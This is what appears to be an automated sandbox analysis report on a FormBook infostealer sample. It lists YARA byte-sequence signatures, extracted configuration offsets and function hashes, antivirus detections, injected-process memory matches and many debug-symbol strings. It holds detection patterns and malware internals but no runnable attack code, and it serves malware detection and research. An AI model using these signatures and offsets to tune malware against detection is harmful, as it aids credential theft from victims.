1.2.AddInProcess32.exe.400000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8ae8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8d62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14885:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14371:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14987:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x14aff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x977a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x135ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa473:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1a527:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1b52a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
1.2.AddInProcess32.exe.400000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17609:$sqlite3step: 68 34 1C 7B E1 0x1771c:$sqlite3step: 68 34 1C 7B E1 0x17638:$sqlite3text: 68 38 2A 90 C5 0x1775d:$sqlite3text: 68 38 2A 90 C5 0x1764b:$sqlite3blob: 68 53 D8 7F 8C 0x17773:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 1 entries

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 1.2.AddInProcess32.exe.400000.0.raw.unpack

Malware Configuration Extractor: FormBook {"Config: ": ["CONFIG_PATTERNS 0x99bf", "KEY1_OFFSET 0x1e3ca", "CONFIG SIZE : 0xcd", "CONFIG OFFSET 0x1e4d3", "URL SIZE : 26", "searching string pattern", "strings_offset 0x1cfa3", "searching hashes pattern", "--------------------------------------------------", "Decrypted Function Hashes", "--------------------------------------------------", "0x3a0289d", "0xf43668a6", "0x980476e5", "0x35a6d50c", "0xf89290dc", "0x94261f57", "0x7d54c891", "0x47cb721", "0xf72d719b", "0x9f715010", "0xbf0a5e41", "0x2902d074", "0xf653b199", "0xc8c42cc6", "0x2e1b7599", "0x210d4d07", "0x6d2a7921", "0x8ea85a2f", "0x207c50ff", "0xb967410a", "0x1eb17415", "0xb46802f8", "0x11da8518", "0xf42ed5c", "0x2885a3d3", "0x445675fa", "0x5c289b4c", "0x40ede5aa", "0xf24946a2", "0x8559c3e2", "0xb9d34d23", "0xa14d0a19", "0x2d07bbe2", "0xbbd1d68c", "0xb28c29d4", "0x3911edeb", "0xefad046d", "0xa0605497", "0xf5529cbf", "0x5507576a", "0xfa2467c8", "0x5b6423bf", "0xe22409b9", "0xde1eba2", "0xae847e2", "0xa8cfcc9", "0x26fc2c69", "0x5d8a75ac", "0x22eb3474", "0x2b37c918", "0x79402007", "0x7544791c", "0x641b2c94", "0x1db04ecf", "0xf5d02cd8", "0xad011e04", "0x6206e716", "0x5e4b9b9a", "0xe4e2f5f4", "0x54c93159", "0x25ea79b", "0x5bf29119", "0xd6507db", "0x32ffc9f8", "0xe4cfab72", "0x98db5380", "0xce4cc542", "0x3092a0a2", "0x66053660", "0x2607a133", "0xfcd014b1", "0x80b41d4", "0x4102ad8d", "0x857bf6a6", "0xd3ec6064", "0x23145fc4", "0xc026698f", "0x8f5385d8", "0x2430512b", "0x3ebe9086", "0x4c6fddb5", "0x276db13e", "0xe00f0a8e", "0x85cf9404", "0xb2248784", "0xcdc7e023", "0x11f5f50", "0x1dd4bc1c", "0x8235fce2", "0x21b17672", "0xbba64d93", "0x2f0ee0d8", "0x9cb95240", "0x28c21e3f", "0x9347ac57", "0x9d9522dc", "0x911bc70e", "0x74443db9", "0xf04c1aa9", "0x6484bcb5", "0x11fc2f72", "0x2b44324f", "0x9d70beea", "0x59adf952", "0x172ac7b4", "0x5d4b4e66", "0xed297eae", "0xa88492a6", "0xb21b057c", "0x70f35767", "0xb6f4d5a8", "0x67cea859", "0xc1626bff", "0xb4e1ae2", "0x24a48dcf", "0xe11da208", "0x1c920818", "0x65f4449c", "0xc30bc050", "0x3e86e1fb", "0x9e01fc32", "0x216500c2", "0x48e207c9", "0x2decf13e", "0x19996921", "0xb7da3dd7", "0x47f39d2b", "0x6777e2de", "0xd980e37f", "0x963fea3b", "0xacddb7ea", "0x110aec35", "0x647331f3", "0x2e381da4", "0x50f66474", "0xec16e0c0", "0xf9d81a42", "0xd6c6f9db", "0xef3df91", "0x60e0e203", "0x7c81caaf", "0x71c2ec76", "0x25e431cc", "0x106f568f", "0x6a60c8a9", "0xb758aab3", "0x3b34de90", "0x700420f5", "0xee359a7e", "0xd1d808a", "0x47ba47a5", "0xff959c4c", "0x5d30a87d", "0xaa95a900", "0x80b19064", "0x9c5a481a", "0x1dd252d", "0xdb3055fc", "0xe0cf8bf1", "0x3a48eabc", "0xf0472f97", "0x4a6323de", "0x4260edca", "0x53f7fb4f", "0x3d2e9c99", "0xf6879235", "0xe6723cac", "0xe184dfaa", "0xe99ffaa0", "0xf6aebe25", "0xefadf9a5", "0x215de938", "0x757906aa", "0x84f8d766", "0xb6494f65", "0x13a75318", "0x5bde5587", "0xe9eba2a4", "0x6b8a0df3", "0x9c02f250", "0xe52a2a2e", "0xdb96173c", "0x3c0f2fc", "0xd45e157c", "0x4edd1210", "0x2b127ce0", "0xadc887b6", "0xf45a1c52", "0xc84869d7", "0x36dc1f04",

Multi AV Scanner detection for submitted file

Show sources

Source: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe

Virustotal: Detection: 28%

Perma Link

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000006.00000002.1028284186.0000000000A30000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1027686906.00000000008F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.721240186.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.721927497.0000000001090000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.686008623.0000000003DFA000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1025912109.0000000000140000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.686170457.0000000003F66000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.722073173.00000000010C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 1.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE

Machine Learning detection for sample

Show sources

Source: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe

Joe Sandbox ML: detected

Source: 1.2.AddInProcess32.exe.400000.0.unpack

Avira: Label: TR/Crypt.ZPACK.Gen

Compliance:

Uses 32bit PE files

Show sources

Source: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Contains modern PE file flags such as dynamic base (ASLR) or NX

Show sources

Source: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT, HIGH_ENTROPY_VA

Binary contains paths to debug symbols

Show sources

Source:	Binary string: Windows.Data.Activities.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: syncreg.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: CapabilityAccessManagerClient.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: Windows.Storage.Search.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: authui.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: Windows.Internal.Signals.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 0000000A.00000003.747630209.000001EDC50E0000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb source: AddInProcess32.exe, mstsc.exe
Source:	Binary string: HolographicExtensions.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: AddInProcess32.pdbpw source: AddInProcess32.exe, 00000001.00000000.675621631.0000000000712000.00000002.00020000.sdmp, mstsc.exe, 00000006.00000002.1034631298.0000000004C7F000.00000004.00000001.sdmp
Source:	Binary string: LanguageOverlayUtil.pdb}S source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: SLC.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: cscobj.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: \??\C:\Windows.pdblR5 source: WerFault.exe, 0000000A.00000003.746829519.000001EDC4ED0000.00000004.00000001.sdmp
Source:	Binary string: SettingMonitor.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: cryptsp.pdb source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: StructuredQuery.pdbYS` source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: werconcpl.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: Windows.Internal.Signals.pdbiS0 source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: Windows.CloudStore.Schema.Shell.pdb source: WerFault.exe, 0000000A.00000003.747586781.000001EDC805E000.00000004.00000001.sdmp
Source:	Binary string: d3d10warp.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: msi.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: Windows.ApplicationModel.pdb source: WerFault.exe, 0000000A.00000003.747505561.000001EDC50FE000.00000004.00000001.sdmp
Source:	Binary string: twinui.pcshell.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: PeopleBand.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: urlmon.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: AboveLockAppHost.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: mpr.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: ExecModelProxy.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: grooveex.pdb source: WerFault.exe, 0000000A.00000003.747505561.000001EDC50FE000.00000004.00000001.sdmp
Source:	Binary string: imapi2.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: windows.ui.xaml.pdb6u source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: Windows.StateRepositoryBroker.pdbf source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: srchadmin.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: WindowsCodecs.pdb)Sp source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: ApplicationFrame.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: shlwapi.pdb\| source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: wkscli.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: dwmapi.pdb source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: mstsc.pdb source: AddInProcess32.exe, 00000001.00000002.724998329.0000000002D60000.00000040.00000001.sdmp
Source:	Binary string: WpnClient.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: NotificationControllerPS.pdbyS source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: shdocvw.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: WINMMBASE.pdb source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: twinapi.pdbg source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: TileControl.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: ws2_32.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: OneCoreCommonProxyStub.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: PlayToDevice.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: TileDataRepository.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: wscui.pdbUGP source: explorer.exe, 00000002.00000000.700089831.0000000005A00000.00000002.00000001.sdmp, explorer.exe, 00000010.00000002.1048482581.00000000070D0000.00000002.00000001.sdmp
Source:	Binary string: msvcp110_win.pdb source: WerFault.exe, 0000000A.00000003.747505561.000001EDC50FE000.00000004.00000001.sdmp
Source:	Binary string: AboveLockAppHost.pdb1SX source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: nsi.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: SndVolSSO.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: winmm.pdb source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: TaskFlowUI.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: 5.pdb2R source: WerFault.exe, 0000000A.00000002.761878802.000001EDC4EA8000.00000004.00000020.sdmp
Source:	Binary string: ole32.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: Windows.UI.Core.TextInput.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: provsvc.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: iertutil.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: Windows.UI.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: msasn1.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: AppXDeploymentClient.pdb source: WerFault.exe, 0000000A.00000003.747505561.000001EDC50FE000.00000004.00000001.sdmp
Source:	Binary string: dusmapi.pdb%jI source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: \??\C:\Windows.pdb source: WerFault.exe, 0000000A.00000003.746829519.000001EDC4ED0000.00000004.00000001.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: Windows.UI.Shell.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: InputSwitch.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: cflapi.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: DataExchange.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: provsvc.pdbuj source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: Windows.Data.Activities.pdbaS source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: Bcp47mrm.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: usermgrcli.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: kernelbase.pdb source: WerFault.exe, 0000000A.00000003.747630209.000001EDC50E0000.00000004.00000040.sdmp
Source:	Binary string: SettingMonitor.pdb:uT source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: Windows.UI.Core.TextInput.pdbIS source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: wininet.pdb source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: Windows.UI.Immersive.pdb5SD source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: prnfldr.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: twinapi.appcore.pdb source: WerFault.exe, 0000000A.00000003.747505561.000001EDC50FE000.00000004.00000001.sdmp
Source:	Binary string: nlaapi.pdb0t/ source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: Windows.Networking.Connectivity.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: nsi.pdbRjz source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: ActXPrxy.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: Windows.CloudStore.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: ColorAdapterClient.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: mlang.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: pcacli.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: combase.pdb8 source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: NotificationControllerPS.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: sppc.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: oleacc.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: wevtapi.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: framedynos.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: samcli.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: sspicli.pdb source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: UiaManager.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: dsreg.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: Windows.StateRepository.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: ActionCenter.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: SettingSyncCore.pdb source: WerFault.exe, 0000000A.00000003.747505561.000001EDC50FE000.00000004.00000001.sdmp
Source:	Binary string: msoshext.pdb0 source: WerFault.exe, 0000000A.00000003.747320665.000001EDC8062000.00000004.00000001.sdmp
Source:	Binary string: dusmapi.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: cscapi.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: Windows.StateRepositoryPS.pdb source: WerFault.exe, 0000000A.00000003.747505561.000001EDC50FE000.00000004.00000001.sdmp
Source:	Binary string: ntasn1.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: d3d11.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: ShellCommonCommonProxyStub.pdbuS source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: vcruntime140.amd64.pdb source: WerFault.exe, 0000000A.00000003.747505561.000001EDC50FE000.00000004.00000001.sdmp
Source:	Binary string: gdi32.pdb source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: MobileNetworking.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: WindowsCodecs.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: avrt.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: winmm.pdb{ source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: ShellCommonCommonProxyStub.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: smartscreenps.pdb source: WerFault.exe, 0000000A.00000003.747505561.000001EDC50FE000.00000004.00000001.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: wmiclnt.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: twinui.appcore.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: propsys.pdb source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: WindowsInternal.ComposableShell.Experiences.Switcher.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: samlib.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: atlthunk.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: bthprops.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: msctf.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: TextInputFramework.pdb source: WerFault.exe, 0000000A.00000003.747505561.000001EDC50FE000.00000004.00000001.sdmp
Source:	Binary string: linkinfo.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: wscinterop.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: win32u.pdb0 source: WerFault.exe, 0000000A.00000003.739016455.000001EDC6E52000.00000004.00000001.sdmp
Source:	Binary string: mscms.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: wscui.pdb source: explorer.exe, 00000002.00000000.700089831.0000000005A00000.00000002.00000001.sdmp, WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp, explorer.exe, 00000010.00000002.1048482581.00000000070D0000.00000002.00000001.sdmp
Source:	Binary string: user32.pdb source: WerFault.exe, 0000000A.00000003.738993307.000001EDC6E48000.00000004.00000001.sdmp
Source:	Binary string: bcrypt.pdbn source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: cldapi.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: Windows.UI.Shell.pdbqS source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: dxgi.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: IconCodecService.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: dlnashext.pdbIj source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: WLIDProv.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: UxTheme.pdb source: WerFault.exe, 0000000A.00000003.731495333.000001EDC6EB3000.00000004.00000001.sdmp
Source:	Binary string: rsaenh.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: SettingSyncPolicy.pdbQSx source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: winsta.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: sfc_os.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: Windows.Security.Authentication.Web.Core.pdb source: WerFault.exe, 0000000A.00000003.747586781.000001EDC805E000.00000004.00000001.sdmp
Source:	Binary string: bcrypt.pdb source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: TaskFlowDataEngine.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: WscApi.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: Windows.StateRepositoryBroker.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: Windows.StateRepository.pdb%St source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: ucrtbase.pdb8 source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: davclnt.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: stobject.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: CoreMessaging.pdb source: WerFault.exe, 0000000A.00000003.747505561.000001EDC50FE000.00000004.00000001.sdmp
Source:	Binary string: AppResolver.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
